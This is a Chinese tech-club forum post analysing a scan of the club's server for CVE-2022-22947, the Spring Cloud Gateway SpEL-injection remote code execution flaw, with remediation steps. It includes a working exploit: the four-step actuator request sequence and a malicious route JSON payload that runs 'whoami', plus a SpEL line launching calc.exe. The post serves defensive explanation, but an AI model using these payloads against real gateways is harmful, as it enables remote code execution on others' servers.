最新消息

欢迎来到 DH Hub!

我们是 南信大 DH 互联网技术社团

在这里收集当下火热的技术文章,并且分到对应板块内,作为社团的技术积累,供历届社友学习

本站不开放注册,访客可以正常浏览

  • 由于一些解析原因,建议先在本地编辑器写完以后再上传
  • 由于服务器原因,在编辑主题 / 回复时会有一定卡顿,请谅解。

安全 【安全】【CTF】【工作台】CVE-2022-22947 RCE

主题 作者
成员
荣誉成员
09
14
3
文章类型
完全原创 —— 自由转载
DH Hub 工作台在 2023-09-15 21:50
被请求 /actuator/gateway/routes,此前一段时间,也被反复扫描多次

不难推测,这是一个关于 Spring Cloud Gateway RCE 远程代码执行漏洞 (CVE-2022-22947) 的请求
相同原因的漏洞还有 Spring Data Commons RCE (CVE-2018-1273 ) 等

这一漏洞的本质是 SpEL 注入,利用 Filter 过滤器实现中不安全的函数(尽管有处理用户输入)来执行恶意代码,
框架代码不幸地使用了默认的 StandardEvaluationContext,并且暴露给了用户输入,导致用户可以调用任何类的方法。

读者可能不熟悉 SpEL,这段 SpEL 在被正确解析后可以执行目录下的 calc.exe
T(java.lang.Runtime).getRuntime().exec('calc.exe')

让我们来看看,DH Hub 本次被毛子扫了什么漏洞?
这是 actuator 提供的 api,
GET/actuator/gateway/routes返回路由列表
GET/actuator/gateway/routes/placeholder返回指定路由的信息
POST/actuator/gateway/routes/placeholder创建指定路由


流程如下:
1. 通过 GET /actuator/gateway/routes/,查看服务是否可用、并获取路由信息
2. 发送一条构造过的,包含恶意SpEL的路由 POST /actuator/gateway/routes/test
3. 刷新路由,触发恶意路由 POST /actuator/gateway/refresh
4. 查看结果 GET /actuator/gateway/routes/test

一个恶意路由样例,由 whatever 提供
JSON:
{
    "id": "test",
    "filters": [
        {
            "name": "AddResponseHeader",
            "args": {
                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
                "name": "cmd"
            }
        }
    ],
    "uri": "http://example.com:80",
    "order": 0
}

附 Apache 日志
[15/Sep/2023:21:50:49 +0800] 83.97.73.87 TLSv1.3 TLS_CHACHA20_POLY1305_SHA256 "GET /actuator/gateway/routes HTTP/1.1" -

-> 看起来只是被毛子扫了一下,有没有漏洞,感谢他们。

修复方法:
1. 升级至 3.0.7+ 或 3.1.1+
2. (如没有业务需求) 禁用 gateway actuator endpoint :将 management.endpoint.gateway.enabled 设置为 false
 
顶部